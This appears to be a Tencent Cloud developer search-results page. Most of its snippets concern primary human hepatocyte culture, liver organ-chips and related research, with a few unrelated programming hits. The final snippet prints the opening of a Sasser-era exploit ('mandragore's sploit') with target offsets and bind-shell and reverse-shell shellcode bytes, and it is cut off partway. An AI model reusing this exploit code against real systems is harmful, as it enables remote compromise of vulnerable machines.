- 综合排序
- 最热优先
- 最新优先
- 来自专栏细胞培养
人原代肝细胞长期培养模型比较：HepatoPac、Spheroids与TCS在慢代谢药物ADME研究中的应用解析
摘要：在人原代肝细胞（PrimaryHumanHepatocytes,PHH）相关研究中，传统悬浮人肝细胞（SuspendedHumanHepatocytes,SHH）由于培养时间较短、代谢活性维持周期有限 关键词：人原代肝细胞；PrimaryHumanHepatocytes；HepatoPac；Spheroids；TCS；药物代谢；慢代谢药物；肝细胞模型；ADME；药物筛选；LifeNetHealth一、 图5：LifeNetHealth人原代肝细胞相关产品。八、总结随着慢代谢药物研究、复杂连续代谢研究以及ADME评价需求不断增加，长期原代人肝细胞培养模型正在逐渐成为药物研发中的重要工具。 未来，随着原代肝细胞来源优化、长期培养技术完善以及体外代谢模型标准化程度提升，人原代肝细胞长期培养体系有望进一步提升药物代谢预测能力，并在新药研发、安全性评价、体外ADME研究以及个体化医学研究中发挥更重要作用 本文根据人原代肝细胞、三培养系统、药物慢代谢研究等相关应用技术文章、参考文章等公开资料曼博生物整理，用于科学技术研究和相关实验学习参考。文章内容参考链接：人原代肝细胞应用参考资料Kamel,A.
14310编辑于 2026-05-13 - 来自专栏类器官/器官芯片/3D培养
人原代肝细胞3D肝球培养技术解析：LifeNet长期稳定肝球模型在药物代谢与肝脏研究中的应用
近年来，基于人原代肝细胞（PrimaryHumanHepatocytes，PHH）的3D肝球模型逐渐成为肝脏研究的重要方向。 图1：人原代肝细胞球体形成示意图。二、LifeNetHealth3D肝球培养方案为何更加关注培养一致性？ 在人原代肝细胞3D培养过程中，实验结果往往容易受到细胞状态、接种密度、培养基体系以及换液频率等多个因素影响。 三、人原代肝细胞复苏与接种过程为何对3D肝球形成如此重要？在人原代肝细胞3D培养中，细胞复苏阶段往往是影响最终成球质量的重要步骤之一。 图3：人原代肝细胞及相关培养体系。
11310编辑于 2026-05-14 - 来自专栏类器官/器官芯片/3D培养
肝脏器官芯片用于siRNA/ASO寡核苷酸递送研究
该肝脏MPS能生成功能稳定、状态良好的原代人肝细胞微组织，从而能够在14天内进行基因敲低和给药策略的研究。 使用靶向GAPDH基因的荧光标记GalNAc-小干扰RNA处理原代人肝细胞。 在胶原蛋白涂层支架上可生成稳定且有功能的原代人肝细胞，用于评估标记寡核苷酸的摄取情况（图1E）。图1.使用PhysioMimix核心微生理系统生成3D人肝脏微组织。 (E)通过明场显微镜成像的支架上的3D人肝脏微组织。比例尺：200μm。 实验结束时，肝脏微组织仍保持功能性，通过阳性白蛋白染色显示，该染色同时也用于共标记原代人肝细胞（图2C）。如图2C所示，确认了原代人肝细胞在支架孔隙中摄取了Cy5标记的小干扰RNA。
12910编辑于 2026-05-07 - 来自专栏细胞培养
全长Laminin在肝细胞培养与3D肝类器官中的应用：LN521、LN111、LN411促进hPSC来源肝细胞成熟的研究解析
近年来，人重组全长层粘连蛋白（laminin）因其无异种来源、生理相关性高、成分明确以及批次稳定性较好等特点，逐渐成为替代传统动物源基质体系的重要研究方向。 因此，人重组全长层粘连蛋白（laminin）开始受到越来越多关注，并逐渐成为构建高生理相关性培养体系的重要方向。 这对于长期培养、药物筛选以及标准化肝细胞模型建立具有重要意义。四、LN411在原代肝细胞培养中的作用除了hPSC来源肝细胞之外，LN411在原代肝细胞培养中同样表现出较好的应用价值。 这说明LN411不仅有助于维持原代肝细胞成熟状态，同时也可能进一步改善细胞代谢功能与稳定性。 图6：LN411用于原代胎儿肝细胞培养时肝细胞相似指数评估及功能性相关因子ALB与CYP1A1的基因表达水平。
11310编辑于 2026-05-12 - 来自专栏细胞培养
人肝非实质细胞NPC如何突破传统肝细胞模型局限？Kupffer Cells、肝星状细胞与LSECs应用解析
关键词：人肝非实质细胞；肝NPC；KupfferCells；肝星状细胞；LSECs；肝病模型；药物ADME-Tox；NASH；肝纤维化；3D肝脏模型；原代肝细胞一、为什么传统单一肝细胞模型越来越难满足现代肝病研究需求 在肝病机制研究、药物肝毒性评价以及新药研发过程中，原代肝细胞长期以来一直是重要研究工具。然而，随着研究不断深入，研究人员逐渐发现，传统单一肝细胞模型存在明显局限。 例如，原代肝细胞在体外培养过程中容易快速去分化，代谢酶与转运体表达水平逐渐下降，同时难以完整模拟肝脏炎症、纤维化以及免疫损伤等复杂病理过程，因此体外实验结果与人体临床数据之间往往存在一定偏差。 与此同时，LSECs还能通过旁分泌HGF、VEGF等因子维持肝细胞分化状态，从而延缓原代肝细胞体外去分化过程。 本文内容基于人肝非实质细胞、人原代肝细胞、肝NPC、肝毒性等公开科研资料、应用文献等内容曼博生物整理，仅用于科研技术交流。
11110编辑于 2026-05-18 - 来自专栏细胞培养
CYP450酶诱导研究模型解析：全人源肝细胞TCS体系的应用表现
传统原代人肝细胞（PHH）虽广泛应用于CYP诱导评价，但在长期培养稳定性、部分CYP亚型表达维持等方面仍存在局限。 关键词全人源肝细胞；三培养体系；TCS；原代人肝细胞；PHH；CYP450；CYP酶诱导；CYP2C酶诱导检测；肝细胞诱导评估模型；药物代谢研究一、引言在药物研发阶段，新型化合物对主要细胞色素P450（ CYP）酶的体外诱导潜能评估是关键环节，传统方法多采用三明治培养的原代人肝细胞（PHH）。 二、材料与方法1、4周培养期内基因基础表达水平的评估将原代人肝细胞（PHH）和饲养细胞接种到24孔胶原包被板上，构建三培养体系（TCS）；在4周培养期内的特定时间点，向孔中加入Trizol试剂裂解细胞； 参考说明本文基于CYP450酶、原代人肝细胞、全人源肝细胞TCS等公开研究资料、参考文献、应用文章曼博生物整理，仅用于科研技术交流与行业信息分享。
12810编辑于 2026-05-08 - 来自专栏药物代谢与原代肝细胞研究
胆汁淤积性DILI为何难预测？PhysioMimix Liver-12肝脏MPS模型与传统2D培养体系对比研究
关键词：DILI、胆汁淤积、肝脏MPS、器官芯片、PhysioMimix、原代人肝细胞、药物安全性评价、NAMs一、为什么胆汁淤积性DILI长期难以准确预测？ 实验同时采用原代人肝细胞（PHH）、HepaRG细胞以及诱导多能干细胞来源肝细胞（iHeps）作为研究对象，通过胆汁酸代谢分析、转运体表达、核受体调控、线粒体损伤、细胞应激反应以及功能标志物检测等多个终点 研究显示，在长达30天的培养周期内，PhysioMimix Liver-12系统中的原代人肝细胞和HepaRG细胞均表现出较高水平的白蛋白分泌、尿素生成以及CYP450酶活性，说明其能够更好地维持长期肝功能 更重要的是，在胆汁淤积诱导实验中，仅有PhysioMimix系统中的原代人肝细胞能够稳定检测到胆汁酸分泌变化，而这一指标正是胆汁淤积发生过程中最关键的机制特征之一。
500编辑于 2026-05-29 - 来自专栏类器官/器官芯片/3D培养
CN Bio肝脏器官芯片研究显示：Thykamine在MASH模型中展现剂量依赖性抗纤维化与抗炎作用
传统二维肝细胞培养体系难以长期维持肝细胞功能，动物模型又存在明显的物种差异，因此越来越多研究开始关注基于人源细胞构建的微生理系统（MPS）与器官芯片（OOC）技术。 与传统静态培养不同，PhysioMimix能够：维持肝细胞长期代谢活性模拟肝脏血流环境维持肝细胞极化状态支持多细胞间通讯更真实重现疾病过程因此已被广泛应用于：DILI研究ADME研究MASH研究炎症研究药物毒性评价药效学研究等多个方向 研究采用动态三细胞肝脏模型，包括：原代人肝细胞库普弗细胞肝星状细胞并在连续微流控条件下诱导形成MASH表型。 尤其是：肝细胞、Kupffer细胞与肝星状细胞之间的相互作用，对于MASH疾病进展至关重要。因此：人源肝脏MPS系统正在逐渐成为MASH研究的重要工具。 近年来：随着全球减少动物实验趋势不断增强：人源MPS与器官芯片正在快速发展。
11010编辑于 2026-05-09 - 来自专栏单细胞天地
最新人类肝细胞图谱
摘 · 要 本篇文章对从来自9个人提供的正常肝组织捕获的约10,000个细胞进行单细胞RNA测序，构建了人类肝细胞图谱。 文章发现并定义了内皮细胞，库普弗细胞和肝细胞中以前未知的亚型，并且这些细胞具有transcriptome-wide zonation。 https://cran.r-project.org/web/packages/RaceID/vignettes/RaceID.html 总结 这篇文章首次发现了肝细胞、内皮细胞和巨噬细胞的新亚型
1.5K40发布于 2020-03-30 AbMole | Alirocumab助力揭秘HTR期间肝脏免疫调节新机制
在体外用这些细胞因子刺激原代小鼠的肝细胞，得出了TNF-α和IFN-γ能诱导PCSK9的mRNA表达（图2B）的结论。 B，从B6小鼠中分离出原代肝细胞，用PBS、TNF-α或IFN-γ培养24小时，并收集Pcsk9 mRNA，用qPCR测定进行分析（n=3）。 C，细胞因子（TNF-α和IFN-γ）和信号通路（P65和STAT1）通过转录因子SREBP2调节肝细胞中PCSK9表达。 图 6 用Alirocumab（200μg/小鼠，腹腔注射，每2天一次，从心脏移植当天开始）、人IgG1同种型对照或洛伐他汀（100μg/小鼠，每天腹腔注射，从心脏移植当天开始（n=5；log-rank 图 8 在HTR过程中，肝细胞和移植物浸润巨噬细胞之间通过PCSK9/CD36途径相互作用的模型。鸣谢：Zhang, Xi et al.
16210编辑于 2025-12-22- 来自专栏生信技能树
转录组讲师带你读文献(4)-转录组数据到底起多大作用呢？
Hepatocyte Functions In Vitro by Inhibiting Mechanical Tension-Induced YAP Activation 标题：通过抑制机械张力诱导的YAP激活维持体外原代肝细胞功能 功能性肝细胞在药物发现和评价以及肝脏疾病的细胞治疗中都具有极高的价值。**然而，肝细胞在体外的功能维持一直是一个挑战。**即使是新鲜分离的肝细胞在短期培养后也会失去其基本功能，其原因至今仍不清楚。 ** 我们的工作揭示了肝细胞去分化的机制，并建立了可行的方法来维持肝细胞的功能。 1A图注：采用qRT-PCR检测FHs(新鲜分离的未培养肝细胞)和不同时间培养的肝细胞(mean±SD, n = 3)检测肝细胞功能基因和肝祖细胞标志物的表达。 我们经常注意到，细胞簇边缘培养的肝细胞表达的肝细胞标志物水平通常低于簇内的细胞，这表明肝细胞簇边缘发生了更显著的去分化(图1B)。
94310发布于 2021-05-27 - 来自专栏聊点学术
Image Pro Plus测量肝细胞脂滴。
This is the dividing line. 1 — 背景知识 众所周知，缺氧、缺血、中毒、感染时，肝细胞脂肪代谢失衡，细胞会出现不同程度的脂肪变性，中性脂肪会在胞质内堆积 镜下可见在变性的肝细胞胞浆内出现大小不一的圆形空泡，初见于核周，以后变大，较密集散布于整个胞浆，严重时可融合为一大空泡，形似脂肪细胞。这些脂滴在病理制片过程中溶解了，所以切片上仅剩残留的脂滴轮廓。 肝细胞空泡变性最严重的区域常在中央静脉周围。甚至正常动物肝脏的中央静脉周围也可见类似的空泡。 ? 由此可见，肝细胞空泡变时，胞浆中空泡大小及所占据的面积是评价肝细胞损伤的一个重要指标。 在传统病理分析中，我们只能通过轻微、轻度、中度和重度分级法评价肝细胞损伤。 文献显示，IPP可测量肝细胞空泡变，但是无法分清这种改变到底是来自中性脂肪还是磷脂。这种情况需要我们结合实际情况具体分析。 此外，中央静脉附近肝细胞内的糖原也会对测量造成影响，动物取材前禁食会起到很大帮助。 ?
8.5K21发布于 2020-07-22 - 来自专栏生信菜鸟团
ChIP分析笔记|| PRJNA1037717 脂肪肝-肿瘤抑制基因Sirt6：文献阅读
Sirt6的缺乏导致肝细胞中Serpina12的表达增加，这增强了胰岛素信号并促进了脂质积累。 体外实验验证：Serpina12和Cyp2B10在原代肝细胞中的表达显著增加（图2D）。 在这项研究中，作者挑选了变化最显著的基因，Serpina12，作为进一步分析的候选基因。 （图3D和EV3A、B） 2）Serpina12基因座的转录起始位点（TSS）附近与CEBPRE的结合位点有~90%的相似性共识序列 3）实验验证Sirt6通过CEBPα调节Serpina12的表达：原代肝细胞中敲除 图4A、C：通过感染原代肝细胞以腺病毒-Cre（adeno-Cre virus）敲除Sirt6，同时敲除或敲低Serpina12，并观察到胰岛素信号传导出现下降。 Sirt6缺乏引起的脂肪生成和脂肪肝形成的影响 这一段主要是为了理解Serpina12如何影响脂肪生成，做了各种实验，大致思路是这样： 体外实验：高浓度葡萄糖条件下，敲除Sirt6或敲低Serpina12的原代肝细胞
57110编辑于 2024-11-23 - 来自专栏类器官/器官芯片/3D培养
肝脏微生理系统在胆汁淤积性DILI预测中的应用分析
二、研究设计：不同模型的系统对比在一项针对肝脏模型的系统性研究中，对以下模型进行了对比评估：肝脏微生理系统（MPS）模型不同结构的器官芯片模型传统二维静态培养模型实验选用三类常见细胞来源：原代人肝细胞（ PHH）HepaRG细胞iPSC衍生肝细胞并围绕以下关键指标进行分析：胆汁酸代谢转运体表达（如BSEP、MRP2/3）核受体信号通路（如FXR、PXR）代谢功能（CYP活性）细胞功能指标（白蛋白、尿素） ：提供稳定的营养与氧气分布降低局部应激更接近体内肝脏微环境四、关键实验结果分析1长期功能维持能力在约30天培养周期内：白蛋白分泌保持稳定尿素生成持续CYP酶活性维持较高水平说明：动态培养体系有助于维持肝细胞功能
3900编辑于 2026-03-25 - 来自专栏全栈程序员必看
IMU —— MPU9250_DMP原代码移植
最近在使用MPU9250来学习姿态解算，查询了非常多的网上关于MPU6050和MPU9250的资料，发现内置的DMP可以计算出姿态角，可原代码是用在MSP430和STM407上的，手上有块F429的野火板子
1.2K20编辑于 2022-07-31 - 来自专栏生命科学
类器官——从 2D 到 3D 的进阶 | MedChemExpress
类器官不是器官 一直以来，“类器官”一词被宽泛地用于所有来源于原代组织 (组织亚基或单细胞)、胚胎干细胞 (ESCs) 和诱导多能干细胞 (iPSCs)、已建立的细胞系以及完整或分段器官 (如由多种组织类型组成的器官外植体 培养缺乏组织结构和复杂性，这可能是药物筛选结果多次不能重现体内环境的原因，而患者来源的类器官 (PDO) 高度概括了肿瘤来源的特征，具有更高的敏感性、异质性和稳定性，与传统的患者来源的癌细胞系 (PDC) 模型和人源肿瘤异种移植 各种组织的类器官的培养方法是类似的，可以简单得概括为： 1) 类器官可以从原代组织中产生，把原生组织被分解成含有干细胞的功能性亚组织单元，再进一步消化成单个细胞并进行流式细胞分选以富集干细胞。 HGF 可充当肝细胞的有丝分裂原，用于肝类器官培养。 Human Wnt3aWnt 参与调节细胞发育、增殖、分化、粘附、极性、细胞-细胞通信、生存和自我更新功能。 体外实验中，BMP-2 和 BMP-4 被广泛应用于诱导多能干细胞 (iPSC) 和胚胎干细胞 (ESC) 产生肝细胞。
98120编辑于 2023-02-23 Cell | 当深度学习学会「开药方」：从化学结构直接预测转录组变化，再从头设计抗癌和抗纤维化新药
在此基础上，研究者进一步发展了从虚拟筛选到先导化合物优化的完整管线，并在肝细胞癌（HCC）和特发性肺纤维化（IPF）两个疾病模型中实现了端到端的新药发现。 肝细胞癌：从七百万化合物到亚微摩尔先导物 GPS 平台的第一个端到端应用案例是肝细胞癌。 初筛中脱颖而出的化合物 PB56874852 在 Huh7 肝癌细胞中表现出约 4 μM 的 IC₅₀，同时对原代肝细胞的毒性远低于对癌细胞的杀伤力——这种选择性在早期筛选阶段并不常见。 PB56874852 在 HCC 细胞系与原代肝细胞中的活性对比，显示该化合物对癌细胞具有选择性杀伤效果。 但 4 μM 的活性距离临床候选还有很大差距。 在人源精密切割肺切片（PCLS）实验中，pyrithyldione 的抗纤维化活性与临床一线药物尼达尼布相当。
22510编辑于 2026-03-31- 来自专栏生信菜鸟团
Cell | 单细胞技术揭示人肝细胞图谱
其进一步使用研究的图谱来阐明发生在肝癌细胞和移植到小鼠肝脏的人肝细胞和肝内皮细胞中的表型变化。该人类肝细胞图谱提供了一个强大的资源，使我们能够在正常和病变的肝脏中发现以前未知的细胞类型。 方法： ? 组织分离和单细胞悬浮液的制备 3.单细胞RNA扩增及文库制备 其使用了mCEL-Seq2技术 4.转录丰度的量化 基于ENCODE V24 5.单细胞分析 质控阈值为>1000 UMIs 有10372个人正常细胞 2.人肝细胞类型的分带 ? ? ? 3.人肝免疫细胞群 对CD163+VSIG4+ Kupffer细胞进行详细分析，发现其亚群具有明显的基因表达特征。 总结 该研究建立了一个人肝细胞图谱，揭示了主要肝细胞群的异质性和成人肝脏中上皮祖细胞的存在。 我们的图谱揭示了肝细胞和内皮细胞的转录组范围的分带，并提示不同的肝细胞类型可能会相互合作来完成必要的功能。
6.6K31发布于 2020-03-30 - 来自专栏上善若水
022-github 从fork的原代码更新repo
玩过github的人一定会在你自己的账号上fork了一些github开源项目。这些开源项目往往更新比较活跃，你今天fork用到你自己的项目中去了，过几个星期这个fork的origin可能有一些bugfix了，你怎么办呢？当然直接到Origin repo中去clone是一个方法，但是github的public repo有可能过一段时间就被作者删除了，你是否希望在origin即使已经被删除的情况下，你的账号下依然有你钟情的repo？
61040发布于 2018-09-28 - 来自专栏全栈程序员必看
震荡波病毒原代码(勒索病毒源代码)
大家好，又见面了，我是你们的朋友全栈君。#include <stdio.h> #include <strings.h> #include <signal.h> #include <netinet/in.h> #include <netdb.h> #define NORM “/033[00;00m” #define GREEN “/033[01;32m” #define YELL “/033[01;33m” #define RED “/033[01;31m” #define BANNER GREEN “[%%] ” YELL “mandragore’s sploit v1.3 for ” RED “sasser.x” NORM #define fatal(x) { perror(x); exit(1); } #define default_port 5554 struct { char *os; long goreg; long gpa; long lla;} targets[] = { // { “os”, go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr }, { “wXP SP1 all”, 0x77C0BF21, 0x77be10CC, 0x77be10D0 }, { “w2k SP4 all”, 0x7801D081, 0x780320cc, 0x780320d0 }, }, tsz; unsigned char bsh[]={ 0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA, 0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E, 0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE, 0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE, 0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21, 0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36, 0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF, 0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8, 0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE, 0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22, 0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E, 0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D, 0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9, 0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA, 0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21, 0xC8,0x21,0x0E }; unsigned char rsh[]={ 0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA, 0xC3,0xE8,0xEC,0xFF,
82110编辑于 2022-07-29
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号